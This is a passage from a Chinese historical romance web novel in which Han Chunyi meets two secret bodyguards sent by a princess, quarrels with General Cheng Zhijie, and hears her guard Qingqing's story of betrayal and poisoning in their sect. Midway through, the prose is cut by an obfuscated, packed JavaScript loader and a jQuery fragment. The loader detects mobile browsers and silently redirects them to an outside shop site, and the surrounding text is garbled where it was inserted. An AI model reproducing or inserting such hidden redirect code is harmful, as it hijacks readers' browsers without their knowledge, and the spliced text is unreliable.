程知节抄起桌上的空茶杯往房梁上弹去,茶杯越过房梁后消失,却并没听见触物的声响。
这是被人接住了。
三人立刻站起身来,一齐仰头看向房梁。
青青出手快些,顷刻间跃至房梁之上,见当真有人躲在其上。她立刻出手,与那藏身的二人打斗起来。
那二男且战且退,跃下房梁,又被程知节拦住去路。四人在客栈中打斗起来,桌凳碗盏在店中飞来飞去,看得一旁的店家瞠目结舌,又唉声叹气。
韩春意退至门边角落,细心观察着二男装扮:一身黑色紧身襕袍,腰间配蹀躞带。上头挂的那些小物件,都像是长安城习武的郎君爱挂的东西。
莫非又是来自长安?
那二人看起来功夫不错,但攻势却不猛,只是在抵挡程知节和青青的招式。且一边打着,还一边往店外退去。
青青看他二人有想跑的架势,攻势更急了些。奈何他二人配合极好,很快便调整阵形,将程知节和青青诱到了同一个方向,随即见缝插针,毫不犹豫地冲到店外。
青青看了自家女郎一眼,得了同意,毫不犹豫地追了上去。程知节也看向韩春意,对她道:“我去看看。”
韩春意对他点了点头。
那店家看打斗的人都出了门,上前焦头烂额地对韩春意道:“小娘子,你们今晚还要住这儿吧?您看我这满屋的残局如何……”
韩春意忙着跟上去看情况,冲掌柜摆摆手,打断了他的话:“莫忧心。我晚些时候回来赔给你。”说完,她也一溜烟地出了门。听得那店家在身后埋怨道:“什么人呐!”
她没放在心上,出了客栈门,沿着他们去的方向,一直追到城最西的一条小巷子里,跑得气喘吁吁。
此时天才将黑,她借着天边最后一点光线,看见四人正无声站在那条小巷子中,
——对峙。
对。没有打斗,没有互殴,就是单纯的以一种二比二面对面的姿势,静静地站着。
韩春意脑子发懵,喘着粗气,打破了这片诡异的安静:“你们这是……?”
程知节和青青转身看向她。对面的两个男子立刻对韩春意行了个礼:“拜见女郎。”
韩春意转动眼珠,先看向程知节,又看向青青。她眸中盛满疑惑,表示自己也不清楚状况。
最后,她目光看向两个男子,直接问:“你们拜见谁?我么?”
两个男子从身材到穿着再到长相,都相差无几。若是不熟悉的人第一次见,都会以为这是一对孪生兄弟。
好在其中一个眼下有颗痣,另一个则没有。韩春意便从这一点将二人区分开。
那眼下有痣的男子开口回答她:“是。将才客栈中人多眼杂,不便交谈。所以我二人将女郎引来此处。我们是公主殿下给您配的暗卫。从今以后,负责暗中保护女郎的周全。”
韩春意听他们这么一说,心下了然。猜想大概是安宁听说她被刺杀后,为她安排的人手。
“可有信物?”
刚才回话的男子从怀中掏出一枚芙蓉花样式的印信,呈给了韩春意。
这印信的判断方法需要安宁亲口告知,外人轻易分辨不得。韩春意接过印信,拿在手上端详了一番:“既然是公主派来的人,为何还要躲起来?害得他俩白费力气,陪你们打一架。”
那眼下无痣的男子抬起头来,冲着韩春意眯眼笑了一下:“娘子进入黄平县后,一直在人多之处。我们二人本想找个好点的机会再现身,结果被这位郎君发现了。”
他说完,看了一眼程知节。
韩春意点点头:“那你们就先按照公主指示,在暗中保护我吧。”
她想起什么,又道:“对了,你俩叫什么名字?如果我要你们现身,该如何唤你们?”
那眼下有痣的男子答道:“我叫有智,他叫有谋。”
韩春意听完,眼睛里含了几分笑意:“嗯,这名字倒是好记。”
她举起手中印信,对二人道:“不如就以芙蓉结为信。”她手指交叠,摆出个漂亮的芙蓉花瓣手势:“你们看到我结这个手势,就要立刻出现。”
二人低头应诺。
确认了二人身份和沟通方式,刚才追逐他们的紧张感已消失殆尽。韩春意冲二人挥手:“好了,你们便继续隐在暗处吧。小心些,别又被这位将军发现。”
有智应了声是,有谋却有些意见:“不是我们藏得不好。这将军一看就是久经沙场之人,警惕心强,五感又敏锐。常人是发现不了我们的。”
有智嫌他多话,伸手捂住了他的嘴:“女郎没有其他吩咐,我们就退下了。”说罢,带着有谋跳上一旁矮墙,翻过人家屋顶,不知隐身到何处去了。
三人便结伴往客栈走,韩春意道:“没想到竟是误会一桩,害得咱们还要陪那店家银钱。”
青青一直以女郎的侍卫自诩,但她此前没护好女郎。如今公主多派了两个人来,让她觉得有些羞愧,又有些委屈。
她嘟囔道:“谁让他们一直不开口,还以为他二人是哑巴呢。追到这巷子里才说话,按理,该让他们赔这银钱。”
韩春意感觉到青青对他二人的态度不算友好,故意逗她:“那我召他们出来?让他们给店家赔了钱,再打发他们回长安如何?”
青青想了想,还是觉得这样不好:“算了。这是公主的意思。多两个人保护女郎,也极好的。”
她年纪小,情绪来得快去得也快,脑子里转过了那个弯后,便不把此事放在心上了。
倒是程知节,和那二人交手后便一直没说话,看起来也不太高兴的样子。
她戳了一下他的手臂:“程知节,你怎么了?”
程知节?她倒是觉得,跟自己很相熟了么?
那暗卫虽然受公主指派,但功夫手段,分明出自京中禁军。安宁身为公主,指挥不动禁军首领。那暗卫只能是经太子同意,从他自己的千牛卫中分派给她的。
她到底还有多少事情瞒着他?又和太子牵连到何种程度,竟要派暗卫保护她?
他开口,语气里夹了自己未曾察觉的酸气:“京中之人为你考虑得如此周全。小娘子现在身旁护卫众多,程某倒像来添麻烦的。”
韩春意不懂他为何突然这副语气,一时有些摸不着头脑,疑惑道:“啊?这话是何意?将军这一路帮了我许多啊。在邸店里救了我,去帮我找草药,沙漠里我晕倒的时候也……”
她说到这里便停下,不再继续说下去了。
程知节听她嘴里细数自己的好处,反而更有些郁闷。他不明白自己这郁闷的心情到底源自何处,只觉得胸口有口气不顺,堵得他有些烦躁。
该不会中了邪?难道上天还是看不惯他苟活于世,还满手鲜血,所以终于在他身上显报应了?
他一时没说话。
青青在一旁听韩春意说起沙漠中的经历,很是担忧:“女郎,你怎么晕倒的?”
韩春意见程知节的表情并没有什么变化。他眉头微皱,嘴也紧紧闭着,看起来还是对她有些不满的样子。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17625554|205692||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>这下换她不悦了:“没有。你听错了。”
她说完便大步向前走去,将二人都甩在了身后。
青青一脸不解地看向程知节:“程将军,女郎这是怎么了?”
程知节看韩春意在前面大步流星,只觉得那股气聚成了一团,直冲他心口。
他想,到了凉州,先别管韩春意,倒是自己得先找那军医看看。
“无事。”他从嘴里挤出两个字,说罢也快步向前,甩下青青走了。
只剩下青青在其后看着二人渐行渐远的背影,大为不解:“我只是两日没在而已,怎么会变成这样啊?”
/
韩春意回到客栈,先在堂中赔了老板银钱,又要了些吃食。程知节回来时,她已经囫囵吃完东西,上楼去休息了。
程知节走到客栈时,先前奇怪的情绪已消散许多。他苦恼自己将才说的话,实在是不够沉稳,他很想向他再解释一番,也想再问她些话。踏进店门,却见她刚好径直上了楼,只给他留下个背影。
他叹了口气,心中有些无奈,只好先放下这一桩。
入夜后,青青在房中给韩春意换脖子上的药。见伤口结的痂颜色浅淡,比前两天好了许多,不由得感叹:“女郎,程将军找的那草药,还真有奇效呢!看起来真的不会留疤了。”
韩春意却眉尖微蹙,想起这一路和他的相处细节,她当真有些苦恼。她从未和郎子谈情说爱过,但也看过京中的小姐妹少女怀春的模样。
她早慧,长安城中那些同龄的小郎君,都入不了她的眼。她又喜欢思量朝局,这家的郎子她惹不起,那家的郎子更嫁不得。
只有程知节,相处的这几天里,提醒她,照顾她,救下她……似乎和长安城那些小郎君都不同些。
她心中有些烦乱,乱回了青青一句“哦”,随即便转移话题到她和她的师兄身上。
“你师兄这几年过得好吗?我看你俩感情深厚,为何此时才来寻你?”
说起这个,青青便忽略了她的反常,打开了话匣子:“师兄一直都想来找我。但师父死后,我们的师叔担任了掌门,故意不放他走。为了掩人耳目,他连续三年暗中给他下毒,终于将他毒杀。他这几年一直有我的消息,只是没办法前来。他继任掌门以后,便来找我了。”
肯花三年时间悄无声息毒杀一个人,青青这师兄,倒是个有耐性能成事的。
“我见你师兄,应当不是奸邪之人,为何要将你们的师叔毒杀呢?”
青青脸上的表情由轻松转为愤恨:“因为他害惨我师兄妹二人。”
“当年师兄进师门,武功天赋并不在我之下。是那师叔不想我师父的弟子学有所成,便和我们当时一位天资平平的师姐一起,设法将我师兄的腿骨摔断。”
她说及此处,有些难过,声音哽咽了一下:“本来师兄也是骨骼清奇之人,这腿一断后,许久都养不好,留下了病根,武学上无法再精进。师父可怜他,便带着他钻研药毒之术。”
“后来我进了师门,虽得师兄师父庇佑,却还是因为天赋奇高引得他们的注意。他们得知我有梦游的毛病,冤我在梦游中杀了师父……”
青青停顿了一下,擦了擦眼角的泪花,又接着道:“他们将罪名安在我头上,对我施以酷刑,打断我的腿骨,将我卖给了人牙子。师兄当时在东海一带寻药引,赶不及回来救我。”
她握住韩春意的手:“后来我被卖到长安平康坊,才幸得女郎相救,又为我寻良医治腿。若不是女郎,我应该早就没命了。”